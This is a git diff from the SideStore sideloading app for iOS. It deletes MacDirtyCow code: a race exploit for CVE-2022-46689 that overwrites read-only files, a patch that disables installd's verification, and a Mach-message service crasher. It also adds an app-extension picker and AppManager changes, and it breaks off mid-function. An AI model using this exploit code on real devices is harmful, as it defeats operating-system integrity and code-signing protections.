struct installd_remove_app_limit_offsets offsets = {};
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool patch_installd() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_patch_installd(targetMap, targetLength);
if (!sourceData) {
NSLog(@"can't patchfind");
return false;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
NSLog(@"can't overwrite");
return false;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
overwrite_file(fd, originalData);
return true;
}
#endif /* MDC */

View File

@@ -1,14 +0,0 @@
#ifdef MDC
#ifndef helpers_h
#define helpers_h
char* get_temp_file_path(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);
void xpc_crasher(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */
#endif /* MDC */

View File

@@ -1,132 +0,0 @@
#ifdef MDC
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temp_file_path(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* set_up_tmp_file(void) {
char* path = get_temp_file_path();
printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
printf("port right extraction failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void xpc_crasher(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
return;
} else {
printf("sent xpc w00t message\n");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}
#endif /* MDC */

View File

@@ -1,364 +0,0 @@
#ifdef MDC
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "vm_unaligned_copy_switch_race.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct context1 {
vm_size_t obj_size;
vm_address_t e0;
mach_port_t mem_entry_ro;
mach_port_t mem_entry_rw;
dispatch_semaphore_t running_sem;
pthread_mutex_t mtx;
volatile bool done;
};
static void *
switcheroo_thread(__unused void *arg)
{
kern_return_t kr;
struct context1 *ctx;
ctx = (struct context1 *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->running_sem);
while (!ctx->done) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mtx);
if (ctx->done) {
pthread_mutex_unlock(&ctx->mtx);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_rw,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mtx);
usleep(100);
}
return NULL;
}
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct context1 context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->obj_size = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
if (file_mapped == MAP_FAILED) {
fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->obj_size);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->e0 = 0;
ctx->running_sem = dispatch_semaphore_create(0);
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
ret = pthread_mutex_init(&ctx->mtx, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->done = false;
ctx->mem_entry_rw = MACH_PORT_NULL;
ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->obj_size,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->obj_size * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->obj_size * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < overwrite_length; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
fprintf(stderr, "no diff?\n");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->obj_size);
/* get a memory entry handle for that RW memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_rw,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mtx);
/* start racing thread */
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->obj_size,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->obj_size);
/* map our read-only target memory right after */
ctx->e0 = e2 + ctx->obj_size;
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mtx);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->obj_size - 1 + overwrite_length,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mtx);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
ctx->e0 = 0;
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
e2 = 0;
if (!is_still_equal) {
retval = true;
fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->done = true;
pthread_mutex_unlock(&ctx->mtx);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
#if 0
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
kern_success, kern_protection_failure, kern_other);
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
return retval;
}
#endif /* MDC */

View File

@@ -1,10 +0,0 @@
#ifdef MDC
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
#endif /* MDC */

View File

@@ -0,0 +1,81 @@
//
// AppExtensionView.swift
// SideStore
//
// Created by June P on 8/17/24.
// Copyright © 2024 SideStore. All rights reserved.
//
import SwiftUI
import CAltSign
extension ALTApplication: Identifiable {}
struct AppExtensionView: View {
var extensions: Set<ALTApplication>
@State var selection: [ALTApplication] = []
var completion: (_ selection: [ALTApplication]) -> Any?
var body: some View {
NavigationView {
List {
ForEach(self.extensions.sorted {
$0.bundleIdentifier < $1.bundleIdentifier
}, id: \.self) { item in
MultipleSelectionRow(title: item.bundleIdentifier, isSelected: !selection.contains(item)) {
if self.selection.contains(item) {
self.selection.removeAll(where: { $0 == item })
}
else {
self.selection.append(item)
}
}
}
}
.navigationTitle("App Extensions")
.onDisappear {
_ = completion(selection)
}
}
}
}
struct MultipleSelectionRow: View {
var title: String
var isSelected: Bool
var action: () -> Void
var body: some View {
SwiftUI.Button(action: self.action) {
HStack {
Text(self.title)
if self.isSelected {
Spacer()
Image(systemName: "checkmark")
}
}
}
}
}
class AppExtensionViewHostingController: UIHostingController<AppExtensionView> {
var completion: Optional<(_ selection: [ALTApplication]) -> Any?> = nil
required init(extensions: Set<ALTApplication>, completion: @escaping (_ selection: [ALTApplication]) -> Any?) {
self.completion = completion
super.init(rootView: AppExtensionView(extensions: extensions, completion: completion))
}
@MainActor required dynamic init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
}
extension AppExtensionViewHostingController: UIPopoverPresentationControllerDelegate {
func adaptivePresentationStyle(for controller: UIPresentationController) -> UIModalPresentationStyle {
return .none
}
}

View File

@@ -8,12 +8,14 @@
import Foundation
import UIKit
import SwiftUI
import UserNotifications
import MobileCoreServices
import Intents
import Combine
import WidgetKit
import minimuxer
import AltStoreCore
import AltSign
import Roxas
@@ -37,17 +39,12 @@ final class AppManagerPublisher: ObservableObject
fileprivate(set) var refreshProgress = [String: Progress]()
}
private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool
{
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
}
final class AppManager
{
static let shared = AppManager()
private(set) var updatePatronsResult: Result<Void, Error>?
private let operationQueue = OperationQueue()
private let serialOperationQueue = OperationQueue()
@@ -243,33 +240,33 @@ extension AppManager
func deactivateApps(for app: ALTApplication, presentingViewController: UIViewController, completion: @escaping (Result<Void, Error>) -> Void)
{
guard let activeAppsLimit = UserDefaults.standard.activeAppsLimit else { return completion(.success(())) }
guard !UserDefaults.standard.isAppLimitDisabled, let activeAppsLimit = UserDefaults.standard.activeAppsLimit else { return completion(.success(())) }
DispatchQueue.main.async {
let activeApps = InstalledApp.fetchActiveApps(in: DatabaseManager.shared.viewContext)
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
let message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
if app.appExtensions.isEmpty
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
}
else
{
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
}
}
else
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
}
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
@@ -307,6 +304,45 @@ extension AppManager
presentingViewController.present(alertController, animated: true, completion: nil)
}
}
func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
{
let clearAppCacheOperation = ClearAppCacheOperation()
clearAppCacheOperation.resultHandler = { result in
completion(result)
}
self.run([clearAppCacheOperation], context: nil)
}
func log(_ error: Error, operation: LoggedError.Operation, app: AppProtocol)
{
switch error {
case ~OperationError.Code.cancelled: return // Don't log cancelled events
default: break
}
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForSerialization()
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
var app = app
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
{
app = tempApp
}
do
{
_ = LoggedError(error: sanitizedError, app: app, operation: operation, context: context)
try context.save()
}
catch let saveError
{
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
}
}
}
}
extension AppManager
@@ -359,7 +395,7 @@ extension AppManager
case .success(let source): fetchedSources.insert(source)
case .failure(let error):
let source = managedObjectContext.object(with: source.objectID) as! Source
source.error = (error as NSError).sanitizedForCoreData()
source.error = (error as NSError).sanitizedForSerialization()
errors[source] = error
}
@@ -447,7 +483,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw context.error ?? OperationError.unknown }
guard let result = results.values.first else { throw context.error ?? OperationError.unknown() }
completionHandler(result)
}
catch
@@ -466,7 +502,7 @@ extension AppManager
func update(_ app: InstalledApp, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
{
guard let storeApp = app.storeApp else {
completionHandler(.failure(OperationError.appNotFound))
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
return Progress.discreteProgress(totalUnitCount: 1)
}
@@ -474,7 +510,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw OperationError.unknown() }
completionHandler(result)
}
catch
@@ -510,8 +546,8 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw OperationError.unknown() }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -549,7 +585,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw OperationError.unknown() }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -575,8 +611,8 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw OperationError.unknown() }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -600,7 +636,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw OperationError.unknown() }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -670,13 +706,20 @@ extension AppManager
var installedApp: InstalledApp?
}
let appName = installedApp.name
let context = Context()
context.installedApp = installedApp
let enableJITOperation = EnableJITOperation(context: context)
enableJITOperation.resultHandler = { (result) in
completionHandler(result)
switch result {
case .success: completionHandler(.success(()))
case .failure(let nsError as NSError):
let localizedTitle = String(format: NSLocalizedString("Failed to enable JIT for %@", comment: ""), appName)
let error = nsError.withLocalizedTitle(localizedTitle)
self.log(error, operation: .enableJIT, app: installedApp)
}
}
self.run([enableJITOperation], context: context, requiresSerialQueue: true)
@@ -754,6 +797,12 @@ extension AppManager
let progress = self.refreshProgress[app.bundleIdentifier]
return progress
}
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
{
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
return isActivelyManaging
}
}
extension AppManager
@@ -806,12 +855,18 @@ private extension AppManager
return bundleIdentifier
}
}
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
{
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
return isActivelyManaging
var loggedErrorOperation: LoggedError.Operation {
switch self {
case .install: return .install
case .update: return .update
case .refresh: return .refresh
case .activate: return .activate
case .deactivate: return .deactivate
case .backup: return .backup
case .restore: return .restore
}
}
}
@discardableResult
@@ -948,13 +1003,145 @@ private extension AppManager
}
else
{
DispatchQueue.main.schedule {
UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
}
performAppOperations()
DispatchQueue.main.schedule {
UIApplication.shared.isIdleTimerDisabled = false
}
}
return group
}
private func _install(_ app: AppProtocol, operation appOperation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any]? = nil, cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
func removeAppExtensions(
from application: ALTApplication,
existingApp: InstalledApp?,
extensions: Set<ALTApplication>,
_ presentingViewController: UIViewController?,
completion: @escaping (Result<Void, Error>) -> Void
) {
// App-Extensions: Ensure existing app's extensions and currently installing app's extensions must match
if let existingApp {
_ = RSTAsyncBlockOperation { _ in
let existingAppEx: Set<InstalledExtension> = existingApp.appExtensions
let currentAppEx: Set<ALTApplication> = application.appExtensions
let currentAppExNames = currentAppEx.map{ appEx in appEx.bundleIdentifier}
let existingAppExNames = existingAppEx.map{ appEx in appEx.bundleIdentifier}
let excessExtensions = currentAppEx.filter{
!(existingAppExNames.contains($0.bundleIdentifier))
}
let isMatching = (currentAppEx.count == existingAppEx.count) && excessExtensions.isEmpty
let diagnosticsMsg = "AppManager.removeAppExtensions: App Extensions in existingApp and currentApp are matching: \(isMatching)\n"
+ "AppManager.removeAppExtensions: existingAppEx: \(existingAppExNames); currentAppEx: \(String(describing: currentAppExNames))\n"
print(diagnosticsMsg)
// if background mode, then remove only the excess extensions
guard let presentingViewController: UIViewController = presentingViewController else {
// perform silent extensions cleanup for those that aren't already present in existing app
print("\n Performing background mode Extensions removal \n")
print("AppManager.removeAppExtensions: Excess Extensions: \(excessExtensions)")
do {
for appExtension in excessExtensions {
print("Deleting extension \(appExtension.bundleIdentifier)")
try FileManager.default.removeItem(at: appExtension.fileURL)
}
return completion(.success(()))
} catch {
return completion(.failure(error))
}
}
}
}
guard !application.appExtensions.isEmpty else { return completion(.success(())) }
DispatchQueue.main.async {
let firstSentence: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "")
}
else
{
